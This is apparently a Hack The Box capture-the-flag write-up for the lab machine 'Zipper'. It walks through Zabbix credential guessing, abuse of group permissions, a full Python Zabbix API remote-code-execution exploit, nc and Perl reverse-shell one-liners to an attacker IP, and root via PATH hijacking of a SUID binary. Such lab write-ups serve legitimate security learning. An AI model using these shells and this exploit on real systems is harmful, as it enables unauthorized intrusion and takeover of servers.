7 minute read



Hack The Box - Zipper

Quick Summary

Hey guys today Zipper retired and here’s my write-up. Owning user on this box was challenging because we have to exploit an RCE vulnerability which is not really easy and then we have to get a stable shell to be able to enumerate, for the privilege escalation it was easy but I also liked it because it was a binary exploitation. It was a very fun box and I liked it. It’s a linux box and its ip is 10.10.10.108 , I added it to /etc/hosts as zipper.htb. Let’s jump right in.



Nmap

As always we will start with nmap to scan for open ports and services : nmap -sV -sT -sC zipper.htb


We only get 2 ports , http on port 80 and ssh on port 22. so we are going to check http

HTTP enumeration

By visiting zipper.htb we get the default apache2 page :


So I’m going to run gobuster with directory-list-2.3-medium.txt to see if there are any sub directories : gobuster -u http://zipper.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Output :

=====================================================
Gobuster v2.0.0              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://zipper.htb/
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 4m10s
=====================================================
2019/02/22 08:50:38 Starting gobuster
=====================================================
/zabbix (Status: 301)

We got /zabbix , let’s look at that in the browser :


We get this login page , we don’t have credentials but down there there’s an option to sign in as a guest , but before we do that let’s get an idea about zabbix

Zabbix is an open-source monitoring software tool for diverse IT components, including networks, servers, virtual machines and cloud services. Zabbix provides monitoring metrics, among others network utilization, CPU load and disk space consumption. -Wikipedia

So basically it’s a server monitoring tool , let’s login as a guest and see what we can get


We get this dashboard , but we are not privileged to do anything because we are guest After some enumeration we will notice in : Monitoring –> Latest data , Zapper's Backup Script


Now we have a potential username : zapper , we can try to brute force or fuzz the password , but a quick guess worked for me , the username is the password zapper : zapper



GUI access disabled , on exploit-db there’s an authenticated remote code execution exploit for an old version of zabbix , check it here , Unfortunately valid credentials are not enough to exploit it , if we take a look here :


We also need hostid , and to get that we need to get GUI access

GUI access through zabbix-cli

There’s a cli tool for zabbix on github , we can use it to gain GUI access. Installation and configuration is simple you will get the source from github then install it with install.py install then you will create a conf file for it by executing zabbix-cli --config, it will be saved in $HOME/.zabbix-cli/zabbix-cli.conf , open the conf file and in Zabbix API section add this line :

zabbix_api_url=http://10.10.10.108/zabbix

For details read the documentation here Then we will run zabbix-cli it will ask for a username and a password , we already have them zapper : zapper if we executed show_usergroups we will see that zapper is in a group called No access to the fronted and GUI access to that group is disabled


We will create a new group and call it guiaccess and leave GUI access as system default create_usergroup


Then we will add zapper to that group and delete him from No access to the fronted add_user_to_usergroup


remove_user_from_usergroup


Now if we try to login again as zapper we will get the dashboard :


RCE and getting user

From Configuration –> Hosts we have 2 hosts and the second one is the availabe one :


If we click on it we will get an edit page , but we will notice that the host id is included in the url as a GET parameter :


Now we can edit the python exploit and add the host id : 10106 , this is how the basic login info in the script will look like :



And we get a decent shell , but this shell executes commands through API requests which is not efficient , so we will get a reverse shell like this : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f I got this shell from payload all the things



Problem is , we will find that we are in a docker container , and that’s actually a bad rabbit hole and when I was doing this box for the first time i spent a lot of time trying to escape this docker container , And eventually i found out that this is the wrong server.



If we take a look at this page from zabbix documentation , this part :


there’s an option called execute_on , which has 2 possible values : 0 to execute on zabbix agent , and 1 to execute on zabbix server. We don’t have that option included in the exploit so we are using the default option 1 which means we are executing commands on zabbix server. So we will edit the exploit json data and add "execute_on" : "0" in those 2 parts :



After that we will run the exploit again and now it will run on the right server , however the shell that we used before didn’t work and died immediately because the exploit crashed for some reason , I had to comment out the last line which prints the result : print cmd_exe["result"]["value"] , but it didn’t fix it , so I tried some other shells and the perl one worked :

perl -e 'use Socket;$i="10.10.xx.xx";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Then I used used python3 pty to get a proper shell , python2 didn’t exist on the server


Final exploit after edits :

#!/usr/bin/python
# -*- coding: utf-8 -*-

# Exploit Title: Zabbix RCE with API JSON-RPC
# Date: 06-06-2016
# Exploit Author: Alexander Gurin
# Vendor Homepage: http://www.zabbix.com
# Software Link: http://www.zabbix.com/download.php
# Version: 2.2 - 3.0.3
# Tested on: Linux (Debian, CentOS)
# CVE : N/A

import requests
import json
import readline

ZABIX_ROOT = 'http://10.10.10.108/zabbix'	## Zabbix IP-address
url = ZABIX_ROOT + '/api_jsonrpc.php'	## Don't edit

login = 'zapper'		## Zabbix login
password = 'zapper'	## Zabbix password
hostid = '10106'	## Zabbix hostid

## auth
payload = {
    "jsonrpc" : "2.0",
    "method" : "user.login",
    "params": {
    	'user': ""+login+"",
    	'password': ""+password+"",
    },
    "auth" : None,
    "id" : 0,
}
headers = {
    'content-type': 'application/json',
}

auth  = requests.post(url, data=json.dumps(payload), headers=(headers))
auth = auth.json()

while True:
	cmd = raw_input('\033[41m[zabbix_cmd]>>: \033[0m ')
	if cmd == "" : print "Result of last command:"
	if cmd == "quit" : break

## update
	payload = {
		"jsonrpc": "2.0",
		"method": "script.update",
		"params": {
		    "scriptid": "1",
		    "command": ""+cmd+"",
		    "execute_on" : "0"
		},
		"auth" : auth['result'],
		"id" : 0,
	}

	cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))

## execute
	payload = {
		"jsonrpc": "2.0",
		"method": "script.execute",
		"params": {
		    "scriptid": "1",
		    "hostid": ""+hostid+""
		},
		"auth" : auth['result'],
		"id" : 0,
		"execute_on" : "1"
	}

	cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
	cmd_exe = cmd_exe.json()
#	print cmd_exe["result"]["value"]

First thing we will notice that we are zabbix and in /home there’s a directory for the user zapper


We can’t read user.txt and we can’t go into .ssh


There’s another directory called utils which contains 2 files , backup.sh and zabbix-service cat backup.sh


We see that it has a hardcoded password in it : ZippityDoDah , we can try to su to zapper with that password


And it worked , now we can get the ssh key from .ssh and have ssh connection



And we owned user !

Privilege Escalation and getting root

If we take a look at the utils directory again and execute zabbix-service :



It asks us start or stop? then it executes something and exits , we will check if that binary is a suid binary : find /home/zapper/utils -perm -4000


It’s a suid binary , we need to know what is it doing. Without reverse engineering , strings was enough : strings zabbix-service


This command is being executed when we type start : systemctl daemon-reload && systemctl start zabbix-agent , so what are we going to do is the same as we did in Dab , the only difference is in dab we hijacked a shared library that the binary used , but here we will hijack a binary. By default systemctl points to /bin/systemctl


We will create a c program to execute /bin/bash :


Then we will compile it with gcc : gcc exploit.c -o systemctl Now we have our fake binary ready :


We will add /home/zapper/utils as the first entry in PATH env variable , so the system will look there first : export PATH=/home/zapper/utils:$PATH This is changing the PATH variable to /home/zapper/utils: + the old path


Now systemctl points to our fake binary , let’s run zabbix-service :


And we owned root !


That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Giddy
Next Hack The Box write-up : Hack The Box - Access

Updated: